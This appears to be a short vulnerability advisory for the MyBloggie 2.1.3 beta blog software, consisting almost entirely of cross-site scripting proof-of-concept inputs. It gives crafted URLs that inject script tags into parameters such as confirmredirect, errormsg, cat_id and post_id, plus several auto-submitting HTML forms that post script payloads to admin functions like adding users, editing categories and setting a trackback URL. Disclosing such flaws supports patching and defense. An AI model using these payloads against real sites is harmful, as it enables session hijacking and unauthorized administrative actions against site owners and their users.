MyBloggie Multiple Cross-Site Scripting Vulnerabilities

MyBloggie Multiple Cross-Site Scripting Vulnerabilities

This issue can be exploited through use of a web client.

The following examples are available:

http://www.example.com/mybloggie213beta/index.php?mode=delcom&confirmredirect="><script>alert('xss_string')</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1&redirect=adm&confirm=yes" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/mybloggie213beta/admin.php?mode=upload&del=xss_string

http://www.example.com/mybloggie213beta/admin.php?mode=upload&message=xss_string

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=addcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=edituser&id=1&pass=yes&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=adduser&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='x' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=editcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=add" method="post">
<input type="text" name="submit" value='xyz' />
<input type="text" name="message" value='xyz' />
<input type="text" name="trackback_url" value='<script>alert("xss_string")</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

http://www.example.com/mybloggie213beta/admin.php?mode=deluser&id="><script>alert('xss_string')</script>
http://www.example.com/mybloggie213beta/admin.php?mode=delcat&cat_id="><script>alert('xss_string')</script>

http://www.example.com/mybloggie213beta/admin.php?mode=del&post_id="><script>alert('xss_string')</script>